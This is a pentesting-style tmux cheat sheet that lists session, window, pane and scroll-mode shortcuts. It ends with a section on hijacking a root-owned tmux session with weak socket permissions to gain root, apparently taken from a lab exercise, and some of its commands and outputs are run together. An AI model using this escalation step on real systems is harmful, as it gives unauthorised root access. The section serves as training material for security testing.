Table of Contents
Summery
tmux is a terminal multiplexer that lets you run multiple terminal sessions, windows, and panes within a single terminal. Sessions continue running in the background after you detach, allowing you to reconnect later without interrupting running processes. It is especially useful for pentesting, remote SSH sessions, and running multiple tools simultaneously.
Commands
Sessions
tmux new -s <name> - Create a session
tmux ls - List sessions
tmux attach -t <name> - Attach to a session
Ctrl+b, then d - Detach from a session
Ctrl+b, then $ - Rename a session
tmux kill-session -t <name> - Kill a session
Ctrl+b, then ? - Show key bindings
Windows
Ctrl+b, then c - Create a window
Ctrl+b, then w - List and select windows
Ctrl+b, then 0-9 - Switch to window 0-9
Ctrl+b, then n - Next window
Ctrl+b, then p - Previous window
Ctrl+b, then , - Rename current window
Ctrl+b, then & - Close current window
Panes
Ctrl+b, then % - Split left/right
Ctrl+b, then " - Split top/bottom
Ctrl+b, then arrow key - Move between panes
Ctrl+b, then o - Cycle through panes
Ctrl+b, then ; - Toggle last active pane
Ctrl+b, then z - Zoom current pane
Ctrl+b, then x - Close current pane
Ctrl+b, then hold Alt + arrow key - Resize pane
Scrolling and copy mode
Ctrl+b, then [ - Enter scroll mode
Arrow keys or Page Up / Page Down - Scroll up/down
/ in scroll mode - Search history
q - Exit scroll mode
Hijacking tmux sessions
Terminal multiplexers such as tmux can be used to allow multiple terminal sessions to be accessed within a single console session. When not working in a tmux window, we can detach from the session, still leaving it active (i.e., running an nmap scan). For many reasons, a user may leave a tmux process running as a privileged user, such as root set up with weak permissions, and can be hijacked.
ps aux | grep tmux - Check for any running tmux processes
root 4806 0.0 0.1 29416 3204 ? Ss 06:27 0:00 tmux -S /shareds new -s debugsessls -la /shareds - Confirm permissions
srw-rw---- 1 root devs 0 Sep 1 06:27 /sharedsid - Review your group membership
uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)tmux -S /shareds or tmux -S /shareds attach -t debugsess Attach to the tmux session and confirm root privileges
id - Confirm your new root privileges
uid=0(root) gid=0(root) groups=0(root)